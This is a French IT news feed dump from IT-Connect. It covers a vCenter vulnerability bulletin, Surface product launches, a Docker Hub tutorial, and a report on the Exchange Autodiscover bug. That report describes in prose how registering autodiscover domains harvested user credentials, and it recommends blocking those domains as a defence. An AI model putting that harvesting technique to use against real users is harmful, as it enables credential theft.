<p><img class="aligncenter size-large wp-image-46307" src="media/e47795eb.specops-password-auditor-analyse-finale-02-800x175.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-02-800x175.jpg" alt="" width="800" height="175" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-02-800x175.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-02-550x120.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-02-150x33.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-02-768x168.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-02-160x35.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-02-50x11.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-auditor-analyse-finale-02.jpg 1134w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Avant de mettre en œuvre SPP, je vous recommande d'effectuer une analyse avec Specops Password Auditor afin de voir la valeur ajoutée de SPP après quelque temps d'utilisation.</p>
<p><strong>Cette découverte de Specops Password Policy touche à sa fin ! N'hésitez pas à tester le logiciel de votre côté et à poster un commentaire si vous avez des questions.</strong></p>
<p>Je vous laisse avec le lien de téléchargement qui vous permettra d'<strong>obtenir une version d'essai de 45 jours</strong> tout en sachant que le coût de la licence dépend du nombre d'utilisateurs à protéger avec Specops Password Policy :</p>
<p><strong><a href="https://specopssoft.com/lp/fr/specops-password-policy-it-connect/?utm_campaign=it-connect%20review%20fr&amp;utm_source=it-connect&amp;utm_medium=referral&amp;utm_term=review&amp;utm_content=spp%20link" target="_blank" rel="noopener">Télécharger Specops Password Policy</a></strong></p>The post <a href="https://www.it-connect.fr/ameliorez-la-gestion-des-mots-de-passe-dans-lad-avec-specops-password-policy/">Améliorez la gestion des mots de passe dans l’AD avec Specops Password Policy</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46375
title: VMware : une faille critique affecte tous les serveurs vCenter 6.7 et 7.0
uri: VMware-une-faille-critique-affecte-tous-les-serveurs-vCenter-6-7-et
url: https://www.it-connect.fr/vmware-une-faille-critique-affecte-tous-les-serveurs-vcenter-6-7-et-7-0/
content:
<p><strong>VMware a publié un bulletin de sécurité pour informer ses clients de la présence d'une faille de sécurité critique au sein de toutes les installations de vCenter Server en version 6.7 et 7.0.</strong></p>
<p><em>Pour rappel, le vCenter est un serveur de gestion pour faciliter l'administration et la configuration d'un ensemble de serveurs VMware et des machines virtuelles associées.</em></p>
<p>Au moment d'évoquer cette vulnérabilité, Bob Plankers, Technical Marketing Architect chez VMware, précise qu'elle peut être exploitée par quelqu'un qui est capable de<strong> contacter le serveur vCenter</strong> sur le réseau (port 443), <strong>peu importe la configuration</strong>, qui est en place sur le serveur vCenter. Pour se convaincre que cette faille est réellement critique, il suffit de regarder <strong>son score CVSS 3.1 : 9.8 / 10</strong>.</p>
<p>Cette faille de sécurité se situe au sein du <strong>service Analytics</strong> et elle permet à un pirate d'<strong>exécuter des commandes ou un programme</strong> sur l'hôte vCenter grâce au<strong> chargement d'un fichier malveillant</strong>. L'attaquant n'a <strong>pas besoin d'être authentifié sur le serveur</strong> pour exploiter la faille et il n'y a aucune interaction requise de la part des utilisateurs, contrairement à certains cas. Cela rend la vulnérabilité facilement exploitable.</p>
<p>Par conséquent, il est fortement recommandé d'installer le correctif dès que possible afin de se protéger contre cette vulnérabilité référencée avec le nom <strong>CVE-2021-22005</strong>. Un serveur VMware vCenter 7.0 doit être mis à jour vers la version<strong> 7.0 U2c</strong> pour être protégé, tandis que pour un serveur vCenter 6.7, il faut viser la version <strong>6.7 U3o</strong>.</p>
<p>Il est à noter que certaines versions ne sont pas affectées par cette vulnérabilité, notamment la version vCenter Server 6.5.</p>
<ul>
<li><a href="https://www.vmware.com/security/advisories/VMSA-2021-0020.html" target="_blank" rel="nofollow noopener">Bulletin de sécurité VMware</a></li>
</ul>
<p>Pour ceux qui ne sont pas en mesure d'appliquer le correctif dès maintenant, <strong>VMware a publié une procédure pour atténuer la vulnérabilité.</strong> Cela consiste à modifier un fichier de configuration et à redémarrer les services. Tout cela est <a href="https://kb.vmware.com/s/article/85717" target="_blank" rel="nofollow noopener">expliqué sur cette page</a>.</p>
<p><a href="https://www.bleepingcomputer.com/news/security/vmware-warns-of-critical-bug-in-default-vcenter-server-installs/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/vmware-une-faille-critique-affecte-tous-les-serveurs-vcenter-6-7-et-7-0/">VMware : une faille critique affecte tous les serveurs vCenter 6.7 et 7.0</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46428
title: Surface Event : Microsoft dévoile sa Surface Pro 8, sa Surface Laptop Studio, etc.
uri: Surface-Event-Microsoft-dévoile-sa-Surface-Pro-8-sa-Surface-Laptop
url:
https://www.it-connect.fr/surface-event-microsoft-devoile-sa-surface-pro-8-sa-surface-laptop-studio-etc/

content:
<p><strong>À l'occasion de l'événement Surface Event, Microsoft a dévoilé ses nouveaux ordinateurs portables hybrides ainsi que son nouveau smartphone à double écran. Au programme : Surface Pro 8, Surface Go 3, Surface Duo 2, et un tout nouveau produit avec la Surface Laptop Studio.</strong></p>
<h2>Surface Pro 8</h2>
<p>Commençons par le produit historique de la gamme Surface : la Surface Pro. Pour cette 8ème génération, Microsoft a apporté quelques évolutions très intéressantes. Alors bien sûr, la Surface Pro 8 aura le droit à un processeur <strong>Intel de 11ème génération. </strong></p>
<p>Voici les autres nouveautés principales :</p>
<ul>
<li>Deux ports Thunderbolt 4</li>
<li>Une batterie avec 16 heures d'autonomie</li>
<li>Support de l'audio Dolby Atmos</li>
<li>Caméra frontale de 5 mpx</li>
<li>Un nouveau stylet Surface Slim Pen, plus fin et qui se range sur le clavier</li>
</ul>
<p>Quant à l'écran tactile PixelSense Flow de 13 pouces, il bénéficie d'un <strong>taux de rafraichissement à 120 Hz</strong> et il est compatible Dolby Vision et Dolby Vision IQ.</p>
<p><iframe class="iframe_youtube" title="YouTube video player" src="https://www.youtube.com/embed/Ke4kXDfsDuE" frameborder="0" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">﻿</span></iframe></p>
<p>La Surface Pro 8 sera disponible à partir du <strong>28 Octobre 2021</strong> avec un prix de départ fixé à <strong>1 179 euros</strong>. À ce prix, vous avez le droit à un processeur Intel Core i5, 8 Go de RAM et 128 Go de SSD.</p>
<ul>
<li><a href="https://www.microsoft.com/fr-fr/d/surface-pro-8/8qwcrtq8v8xg" target="_blank" rel="nofollow noopener">Découvrir sur le site de Microsoft</a></li>
</ul>
<h2>Surface Go 3</h2>
<p>La petite sœur de la Surface Pro a le droit à sa mise à niveau. La Surface Go 2 laisse la place à la Surface Go 3, <strong>une nouvelle génération qui serait 60% plus rapide</strong> grâce aux processeurs Intel, notamment l'Intel Core i3, mais en 10ème génération. <strong>Microsoft va sortir un modèle équipé d'une puce 4G+</strong>, ce qui est nouveau sur ce produit.</p>
<p>Par ailleurs, la Surface Go 3 sera équipée d'un écran tactile PixelSense de 10,5 pouces, accompagné par une caméra frontale 1080p avec des micros Studio Mics. Sans surprise, la Surface Go 3 sera compatible Windows 11 et le nouveau système de Microsoft sera préinstallé.</p>
<p><iframe class="iframe_youtube" title="YouTube video player" src="https://www.youtube.com/embed/0f8Eo-tIA2o" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>La Surface Go 3 sera disponible à partir du <strong>5 octobre 2021</strong> avec un prix de départ fixé à<strong> 439 euros</strong>. À ce prix, le processeur est un Intel Pentium 6500Y accompagné par 4 Go de RAM et 64 Go de SSD.</p>
<ul>
<li><a href="https://www.microsoft.com/fr-fr/d/surface-go-3/904h27d0cbwn" target="_blank" rel="nofollow noopener">Découvrir sur le site de Microsoft</a></li>
</ul>
<h2>Surface Laptop Studio</h2>
<p>Le nouvel ordinateur hybride Surface Laptop Studio est un mix entre une Surface Book et une Surface Studio. Ce modèle s'adresse aux créateurs, aux designers, aux graphistes... La plus puissante des Surface, basée sur des processeurs Intel Core Séries H de 11ème génération.</p>
<p>La Surface Laptop Studio bénéficie d'un <strong>écran tactile PixelSense Flow de 14 pouces (120 Hz)</strong>, qui peut <strong>s'incliner de manière très surprenante</strong> comme la Surface Studio version desktop, afin de basculer en mode Studio ! Pour la partie audio, vous pouvez compter sur les 4 haut-parleurs compatibles Dolby Atmos. Sachez qu'il y aura deux ports Thunderbolt 4.</p>
<p>Au niveau de la carte graphique, Microsoft a choisi d'intégrer une carte <strong>NVIDIA GeForce RTX 3050 Ti</strong>. Microsoft proposera un modèle ave<strong>c 32 Go de RAM</strong> et <strong>2 To de SSD</strong> pour le stockage.</p>
<p><iframe class="iframe_youtube" title="YouTube video player" src="https://www.youtube.com/embed/iOb31Uc4XKM" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>La Surface Laptop Studio sera disponible <strong>début 2022</strong> et son prix de départ devrait être de <strong>1 600 dollars</strong>.</p>
<ul>
<li><a href="https://www.microsoft.com/fr-fr/d/surface-laptop-studio/8srdf62swkpf" target="_blank" rel="nofollow noopener">Découvrir sur le site de Microsoft</a></li>
</ul>
<h2>Surface Duo 2</h2>
<p>Le Surface Duo 2 était attendu au tournant afin de relever le niveau vis-à-vis de la première version et de sa configuration décevante. Même si le Surface Duo 2 reprend la même base, Microsoft a clairement mis à niveau la fiche technique ! Voici <strong>les caractéristiques principales du Surface Duo 2</strong>, le smartphone à double écran de Microsoft :</p>
<ul>
<li>Écrans AMOLED PixelSense 8,3 pouces en mode ouvert / 5,8 pouces en mode fermé</li>
<li>Processeur<strong> Snapdragon 888</strong> (5G)</li>
<li>RAM : 8 Go</li>
<li>Stockage : de 128 Go à 512 Go</li>
<li>Module photo arrière avec trois capteurs (12 mpx grand-angle + 12 mpx téléobjectif + 16 mpx ultra grand-angle)</li>
<li>Module photo avant avec un capteur (12 mpx)</li>
<li>Paiement sans contact via NFC</li>
<li>Wi-Fi 6</li>
<li>Double batterie 4 340 mAh</li>
<li>Capteurs : accéléromètre, gyroscope, magnétomètre, capteur de luminosité, capteur de proximité, capteur à effet Hall, lecteur d'empreintes digitales</li>
</ul>
<p><iframe class="iframe_youtube" title="YouTube video player" src="https://www.youtube.com/embed/QYF6LaLcq90" frameborder="0" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">﻿</span></iframe></p>
<p>Le Surface Duo 2 sera disponible à partir du <strong>21 octobre 2021</strong> avec un prix de départ fixé à <strong>1 599 euros</strong>.</p>
<ul>
<li><a href="https://www.microsoft.com/fr-fr/d/surface-duo-2/9408kgxp4xjl?rtc=1&amp;activetab=pivot%3aoverviewtab" target="_blank" rel="nofollow noopener">Découvrir sur le site de Microsoft</a></li>
</ul>The post <a href="https://www.it-connect.fr/surface-event-microsoft-devoile-sa-surface-pro-8-sa-surface-laptop-studio-etc/">Surface Event : Microsoft dévoile sa Surface Pro 8, sa Surface Laptop Studio, etc.</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=43643
title: Comment publier une image Dockerfile sur le référentiel Docker Hub ?
uri: Comment-publier-une-image-Dockerfile-sur-le-référentiel-Docker-Hub
url: https://www.it-connect.fr/comment-publier-une-image-dockerfile-sur-le-referentiel-docker-hub/
content:
<h2>I. Présentation</h2>
<p>Aujourd'hui, nous allons voir <strong>comment publier une image Docker, par l'intermédiaire du repository officiel Docker Hub</strong>. Vous vous demandez surement dans quel but réaliser cette démarche ? Et bien, cela permettra à une tierce personne de récupérer facilement le container de votre projet, sans passer par la phase de "build", c'est-à-dire de construction de votre image. En effet, celle-ci sera <strong>utilisable par tout le monde</strong>, ou un cercle restreint de personne dans le <strong>cadre d'une publication de l'image en mode privé</strong> (non démontré dans cet article).</p>
<p>Pour ce tutoriel, je m'inspire d'un article déjà en ligne au sujet de Docker : <a href="https://www.it-connect.fr/conteneuriser-votre-application-web-avec-docker/" target="_blank" rel="noopener">comment conteneuriser une application web avec Docker ?</a></p>
<p>Sans plus attendre découvrons comment publier une image sur Docker Hub !</p>
<h2>II. Premiers pas avec Docker Hub</h2>
<p>Dans un premier temps, inscrivez-vous directement sur le site, c'est gratuit et ça se passe par ici : <a href="https://hub.docker.com/signup" target="_blank" rel="nofollow noopener">Docker Hub - Inscription</a></p>
<p>Ensuite, sur la page d'accueil, nous allons cliquer sur "<strong>Repository"</strong>, puis<strong> "Create repository"</strong>.</p>
<p><img class="aligncenter wp-image-43763 size-large" src="media/5575f26d.asdd-800x122.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/asdd-800x122.png" alt="" width="800" height="122" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/asdd-800x122.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/asdd-550x84.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/asdd-150x23.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/asdd-768x117.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/asdd-160x24.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/asdd-1536x235.png 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/asdd-50x8.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/asdd.png 1788w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>&nbsp;</p>
<p>Un repository Docker Hub va accueillir une seule et unique image docker, que nous allons construire par l'intermédiaire d'un fichier Dockerfile. <strong>Nommez votre repository</strong>, et choisissez l'option <strong>"Public"</strong> avant de cliquer sur <strong>"Create"</strong>. Pour ma part, le dépôt se nommera "<em>mywebapp</em>".</p>
<p><img class="aligncenter wp-image-43766 size-large" src="media/5c7c7738.aaaaa-1-800x426.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaa-1-800x426.png" alt="" width="800" height="426" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaa-1-800x426.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaa-1-550x293.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaa-1-150x80.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaa-1-768x409.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaa-1-160x85.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaa-1-1536x818.png 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaa-1-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaa-1.png 1829w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Une fois que cela est fait, vous allez obtenir la page suivante.</p>
<p><img class="aligncenter wp-image-43770 size-large" src="media/9a6dd47f.dfsf-800x433.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/dfsf-800x433.png" alt="" width="800" height="433" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/dfsf-800x433.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/dfsf-550x297.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/dfsf-150x81.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/dfsf-768x415.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/dfsf-160x87.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/dfsf-1536x831.png 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/dfsf-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/dfsf.png 1805w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2>III. Publier une image sur Docker Hub</h2>
<p>Nous laissons de côté notre navigateur pour maintenant utiliser le terminal d'un hôte équipé de Docker. Connectez-vous sur votre hôte docker et exécutez les commandes suivantes :</p>
<pre>docker login
&lt;entrez votre identifiant docker&gt;
&lt;entrez votre mot de passe docker&gt;
</pre>
<p>Listez vos images :</p>
<pre>docker images

</pre>
<p><img class="aligncenter wp-image-43769 size-full" src="media/c0a3e86e.ert.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/ert.png" alt="" width="668" height="228" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/ert.png 668w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/ert-550x188.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/ert-150x51.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/ert-160x55.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/ert-50x17.png 50w" sizes="(max-width: 668px) 100vw, 668px" /></p>
<p>Dans mon cas, je souhaite publier l'image "mywebapp" que j'ai créée par l'intermédiaire d'un Dockerfile (vu dans l'article précédent). Par la suite, j'assigne un label à mon image par l'intermédiaire de la <strong>commande docker tag</strong>, puis grâce à la commande <strong>docker push</strong>, je vais <strong>charger cette image sur mon repository Docker Hub "archidote/mywebapp". </strong>Ce qui donne les deux commandes suivantes :</p>
<pre>docker tag mywebapp archidote/mywebapp
docker push archidote/mywebapp</pre>
<p><img class="aligncenter wp-image-43774 size-full" src="media/c0df6a52.aaaaaaaaaa.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaaaaaaa.png" alt="" width="620" height="165" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaaaaaaa.png 620w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaaaaaaa-550x146.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaaaaaaa-150x40.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaaaaaaa-160x43.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/aaaaaaaaaa-50x13.png 50w" sizes="(max-width: 620px) 100vw, 620px" /></p>
<p>Une fois l'upload terminé, on peut de nouveau lister les images Docker et l'on verra la présence de l'image "archidote/mywebapp", sur Docker Hub.</p>
<pre>docker images</pre>
<p><img class="aligncenter wp-image-43775 size-large" src="media/c6e07a39.gdfg-800x128.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gdfg-800x128.png" alt="" width="800" height="128" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gdfg-800x128.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gdfg-550x88.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gdfg-150x24.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gdfg-768x123.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gdfg-160x26.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gdfg-50x8.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gdfg.png 890w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>L'image a correctement été envoyée sur notre repository Docker Hub !</strong></p>
<h2>IV. Tester l'image hébergée sur Docker Hub</h2>
<p>Afin de vérifier si l'image est réellement fonctionnelle, supprimez l'image "archidote/mywebapp" de votre banque d'images Docker ainsi que de votre banque de conteneurs à l'aide des commandes suivantes :</p>
<pre>docker rmi &lt;ids&gt;

docker rm &lt;ids&gt;
</pre>
<p>Puis, une fois que cela est fait, je lance<strong> l'instanciation de mon container depuis l'image que j'ai envoyée précédemment sur Docker Hub</strong>.</p>
<pre>docker run -d -p 8080:80 archidote/mywebapp</pre>
<pre>docker ps <span style="color: #00ffff;"># Permet de vérifier si le conteneur est en cours d'exécution.</span></pre>
<p><img class="aligncenter wp-image-43776 size-large" src="media/2a4b56ef.gjgj-800x248.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gjgj-800x248.png" alt="" width="800" height="248" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gjgj-800x248.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gjgj-550x171.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gjgj-150x47.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gjgj-768x238.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gjgj-160x50.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gjgj-50x16.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/gjgj.png 1234w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Pour vérifier le bon fonctionnement du conteneur, il ne me reste plus qu'à accéder à sa page Web via l'adresse suivante :</p>
<pre>http://&lt;adresse-ip&gt;:8080</pre>
<p><img class="wp-image-43777 size-large aligncenter" src="media/314ff1a9.hf-800x438.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/hf-800x438.png" alt="" width="800" height="438" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/05/hf-800x438.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/hf-550x301.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/hf-150x82.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/hf-768x421.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/hf-160x88.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/hf-1536x841.png 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/hf-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/05/hf.png 1855w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Voilà, nous venons de<strong> charger l'image d'un container Docker sur Docker Hub</strong> et ensuite nous avons vu<strong> comment déployer cette image Docker à partir du dépôt Docker Hub</strong> ! J'espère que ce tutoriel vous sera utile !</p>The post <a href="https://www.it-connect.fr/comment-publier-une-image-dockerfile-sur-le-referentiel-docker-hub/">Comment publier une image Dockerfile sur le référentiel Docker Hub ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46440
title: Microsoft Exchange : un bug dans l’Autodiscover expose vos identifiants !
uri: Microsoft-Exchange-un-bug-dans-l-Autodiscover-expose-vos-identifia
url: https://www.it-connect.fr/microsoft-exchange-un-bug-dans-lautodiscover-expose-vos-identifiants/
content:
<p><strong>Un bug dans la fonctionnalité Autodiscover des serveurs de messagerie Exchange a entrainé la fuite d'environ 100 000 couples identifiants et mot de passe à travers le monde !</strong></p>
<h2>Bug Autodiscover : que s'est-il passé ?</h2>
<p>Dans un nouveau rapport qu'il vient de publier, Amit Serper de chez Guardicore, explique qu'une mauvaise implémentation de la fonction Autodiscover dans Exchange est à l'origine de ce bug de sécurité. Conséquence : vos identifiants Windows peuvent être envoyés à des sites tiers non sécurisés.</p>
<p>Pour rappel, l'Autodiscover est une fonctionnalité très appréciée puisqu'elle permet de<strong> faciliter l'ajout d'un compte e-mail dans un client de messagerie tel qu'Outlook</strong>. En effet, lorsque l'utilisateur spécifie son identifiant et son mot de passe, le client de messagerie va rechercher lui-même le serveur de messagerie correspondant grâce à l'Autodiscover.</p>
<p>Ce qui nécessite que<strong> l'identifiant et le mot de passe soient envoyés au serveur qui correspond à l'adresse Autodiscover</strong> du domaine en question, afin de permettre l'authentification.</p>
<p>Reprenons l'exemple donné par Amit Serper pour comprendre où est le problème. Si l'on recherche le serveur Autodiscover pour l'adresse e-mail "<em>amit@exemple.com</em>", le client de messagerie cherchera à effectuer l'authentification auprès des URL suivantes, jusqu'à obtenir une réponse :</p>
<ul>
<li>https://Autodiscover.example.com/Autodiscover/Autodiscover.xml</li>
<li>http://Autodiscover.example.com/Autodiscover/Autodiscover.xml</li>
<li>https://example.com/Autodiscover/Autodiscover.xml</li>
<li>http://example.com/Autodiscover/Autodiscover.xml</li>
</ul>
<p>Le problème, c'est que <strong>si l'authentification ne fonctionne pas sur l'une de ces 4 adresses</strong>, il y a un autre processus qui se déclenche sur certains clients de messagerie, dont Outlook. <strong>La fonction Autodiscover va essayer d'autres URL en reprenant le TLD</strong> (exemple ".fr" ou ".com") <strong>du nom de domaine de messagerie</strong> correspondant à l'adresse e-mail de l'utilisateur.</p>
<p>Dans l'exemple d'Amit Serper, le client de messagerie essaie de s'authentifier sur cette adresse : http://<strong>autodiscover.com</strong>/Autodiscover/Autodiscover.xml.</p>
<p>Cela signifie que<strong> le client de messagerie va chercher à s'authentifier sur un serveur qui n'a rien à voir avec le vôtre</strong>, et qui n'a rien à voir avec votre domaine de messagerie. Comme les identifiants sont envoyés dans la requête, <strong>cela peut permettre à la personne qui gère le domaine "autodiscover.&lt;tld&gt;" de les récupérer</strong>.</p>
<p>Pour mener ses tests jusqu'au bout, Guardicore a enregistré plusieurs noms de domaine (<em>autodiscover.fr, autodiscover.es, autodiscover.online, etc.</em>) et mis en place des serveurs Web. Résultat : <strong>l'entreprise a pu collecter près de 100 000 couples identifiants et mots de passe Exchange</strong>, et donc des identifiants de comptes Windows (Active Directory). Au total, ces serveurs ont reçu près de 650 000 requêtes HTTP.</p>
<figure id="attachment_46441" aria-describedby="caption-attachment-46441" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46441 size-full" src="media/a88ce946.exchange-security-autodiscover.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exchange-security-autodiscover.jpg" alt="" width="800" height="402" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exchange-security-autodiscover.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exchange-security-autodiscover-550x276.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exchange-security-autodiscover-150x75.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exchange-security-autodiscover-768x386.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exchange-security-autodiscover-160x80.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/exchange-security-autodiscover-50x25.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46441" class="wp-caption-text">Source : Bleeping Computer / Guardicore</figcaption></figure>
<p>Cela est possible, car <strong>les identifiants sont envoyés via la méthode d'authentification Basic</strong>, ce qui permet de déchiffrer facilement les données (adresse e-mail et mot de passe). Certains clients de messagerie, dont Outlook, <strong>utilisent OAuth et NTLM pour envoyer les identifiants</strong>. En théorie, cela complique la tâche sauf que Amit Serper a créé <strong>un hack pour forcer le client à utiliser la méthode Basic</strong>.</p>
<h2>Exchange : comment se protéger contre cette fuite d'identifiants ?</h2>
<p>Pour le moment, Microsoft affirme travailler sur le sujet afin d'apporter une réponse appropriée pour protéger ses clients. Ce comportement de l'Autodiscover reste un mystère.</p>
<p>En attendant, il est <strong>recommandé de bloquer tous les domaines "autodiscover.&lt;tld&gt;" au niveau de votre pare-feu ou de votre DNS, voire même du fichier hosts de votre machine </strong>(en associant l'adresse IP "<em>127.0.0.1</em>"). Pour cela, <a href="https://github.com/guardicore/labs_campaigns/tree/master/Autodiscover" target="_blank" rel="nofollow noopener">vous pouvez vous appuyer sur la liste créée par Guardicore</a> et qui contient 9190 entrées ! Même si, si j'ai bien compris le principe, il suffit de bloquer les domaines TLD qui correspondent à vos domaines de messagerie.</p>
<p>Décidément, ces derniers mois on parle souvent d'Exchange à cause de problèmes de sécurité. Heureusement, cette fois-ci ce n'est pas tombé entre les mains des pirates.</p>
<p><a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-autodiscover-bugs-leak-100k-windows-credentials/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/microsoft-exchange-un-bug-dans-lautodiscover-expose-vos-identifiants/">Microsoft Exchange : un bug dans l’Autodiscover expose vos identifiants !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46039
title: Configurer le RDP par GPO : activer l’accès, port par défaut, règle de pare-feu
uri: Configurer-le-RDP-par-GPO-activer-l-accès-port-par-défaut-règ
url:
https://www.it-connect.fr/configurer-le-rdp-par-gpo-activer-lacces-port-par-defaut-regle-de-pare-feu/

content:
<h2>I. Présentation</h2>
<p><strong>Dans ce tutoriel, nous allons voir comment configurer le RDP (Bureau à distance) par GPO pour permettre la connexion, modifier le port par défaut et configurer le pare-feu de Windows.</strong></p>
<p>Dans un précédent tutoriel, nous avons vu <a href="https://www.it-connect.fr/bureau-a-distance-modifier-le-port-decoute-rdp/" target="_blank" rel="noopener">comment modifier le port par défaut du RDP</a> manuellement sur une machine Windows. Aujourd'hui, nous allons aller un peu plus loin et le faire par GPO pour permettre un déploiement sur un ensemble de postes.</p>
<p>Pour ce tutoriel, je vais utiliser un contrôleur de domaine Active Directory et un poste client sous Windows 11, mais cela fonctionne aussi pour Windows 10 ou d'autres versions de Windows / Windows Server.</p>
<h2>II. Activer le RDP par GPO</h2>
<p>Pour commencer, nous devons<strong> activer le RDP par GPO sur notre machine Windows</strong> car l'accès est désactivé par défaut.</p>
<p>Créez une nouvelle GPO via la console "<em>Gestion de stratégie de groupe</em>". Pour ma part, je vais créer la GPO "<em>Configurer RDP</em>" : je vais utiliser cette GPO tout au long de ce tutoriel. Modifiez la GPO.</p>
